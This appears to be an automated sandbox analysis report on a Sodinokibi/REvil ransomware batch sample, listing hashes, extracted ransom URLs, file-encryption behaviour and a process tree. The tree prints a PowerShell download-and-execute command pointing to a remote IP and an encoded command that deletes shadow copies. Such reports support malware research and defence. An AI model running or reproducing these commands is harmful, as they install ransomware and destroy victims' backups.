Analysis
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max time kernel
122s -
max time network
120s -
platform
windows10_x64 -
resource
win10 -
submitted
19-08-2020 18:10
Static task
static1
Behavioral task
behavioral1
Sample
398e244bda5a94afa8c2c988f37b2cd6.bat
Resource
win7
Behavioral task
behavioral2
Sample
398e244bda5a94afa8c2c988f37b2cd6.bat
Resource
win10
General
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Target
398e244bda5a94afa8c2c988f37b2cd6.bat
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Size
215B
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MD5
3e3fadb01dd3a604d3d369bc51bb3a6f
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SHA1
6afb2f7dbd13b3f1aa3b86fda6dd1e44b513f195
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SHA256
dfb5ad14ea6a191cabe5996c4433e3a6b707fb4e5f571a7e6bbc53d6593ee1a7
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SHA512
100b892215e1896a9b372d21fa4769da6cc7698703cc779f2674dc585d3b03633e7f30aae9fdb4011816db41a775b33fe0853d766c308f3af863c1aa82a1c464
Malware Config
Extracted
http://185.103.242.78/pastes/398e244bda5a94afa8c2c988f37b2cd6
Extracted
C:\5suarkx96-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C3AB008315086144
http://decryptor.cc/C3AB008315086144
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 3860 powershell.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\LimitResolve.tiff powershell.exe File renamed C:\Users\Admin\Pictures\CheckpointCopy.crw => \??\c:\users\admin\pictures\CheckpointCopy.crw.5suarkx96 powershell.exe File renamed C:\Users\Admin\Pictures\LimitResolve.tiff => \??\c:\users\admin\pictures\LimitResolve.tiff.5suarkx96 powershell.exe File renamed C:\Users\Admin\Pictures\UninstallDismount.png => \??\c:\users\admin\pictures\UninstallDismount.png.5suarkx96 powershell.exe File renamed C:\Users\Admin\Pictures\OpenStep.raw => \??\c:\users\admin\pictures\OpenStep.raw.5suarkx96 powershell.exe File renamed C:\Users\Admin\Pictures\SaveStart.png => \??\c:\users\admin\pictures\SaveStart.png.5suarkx96 powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\08sq75pt3v6v7.bmp" powershell.exe -
Drops file in Program Files directory 24 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\SearchApprove.mov powershell.exe File opened for modification \??\c:\program files\StopUndo.potm powershell.exe File opened for modification \??\c:\program files\UninstallMerge.ini powershell.exe File opened for modification \??\c:\program files\MergeBlock.mpv2 powershell.exe File opened for modification \??\c:\program files\MountStop.easmx powershell.exe File opened for modification \??\c:\program files\EnterOptimize.m1v powershell.exe File opened for modification \??\c:\program files\OutWatch.aifc powershell.exe File opened for modification \??\c:\program files\ResetStep.vsx powershell.exe File opened for modification \??\c:\program files\SaveOut.css powershell.exe File opened for modification \??\c:\program files\StopStart.dwfx powershell.exe File opened for modification \??\c:\program files\WriteNew.wvx powershell.exe File created \??\c:\program files\5suarkx96-readme.txt powershell.exe File opened for modification \??\c:\program files\DebugStart.edrwx powershell.exe File opened for modification \??\c:\program files\DebugDisconnect.otf powershell.exe File opened for modification \??\c:\program files\DebugGet.001 powershell.exe File opened for modification \??\c:\program files\InitializeEnable.cfg powershell.exe File opened for modification \??\c:\program files\InvokeEdit.ttf powershell.exe File created \??\c:\program files (x86)\5suarkx96-readme.txt powershell.exe File opened for modification \??\c:\program files\ConnectTest.ogg powershell.exe File opened for modification \??\c:\program files\InstallBlock.wmf powershell.exe File opened for modification \??\c:\program files\ResetUnregister.DVR powershell.exe File opened for modification \??\c:\program files\ResumeLock.mht powershell.exe File opened for modification \??\c:\program files\ApproveConvert.au powershell.exe File opened for modification \??\c:\program files\ApprovePublish.m4a powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepid process 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe 4024 powershell.exe 4024 powershell.exe 4024 powershell.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3860 powershell.exe Token: SeDebugPrivilege 3860 powershell.exe Token: SeDebugPrivilege 4024 powershell.exe Token: SeBackupPrivilege 412 vssvc.exe Token: SeRestorePrivilege 412 vssvc.exe Token: SeAuditPrivilege 412 vssvc.exe Token: SeTakeOwnershipPrivilege 3860 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe PID 3860 wrote to memory of 4024 3860 powershell.exe powershell.exe PID 3860 wrote to memory of 4024 3860 powershell.exe powershell.exe PID 3860 wrote to memory of 4024 3860 powershell.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\398e244bda5a94afa8c2c988f37b2cd6.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/398e244bda5a94afa8c2c988f37b2cd6');Invoke-DLBAJCKU;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:412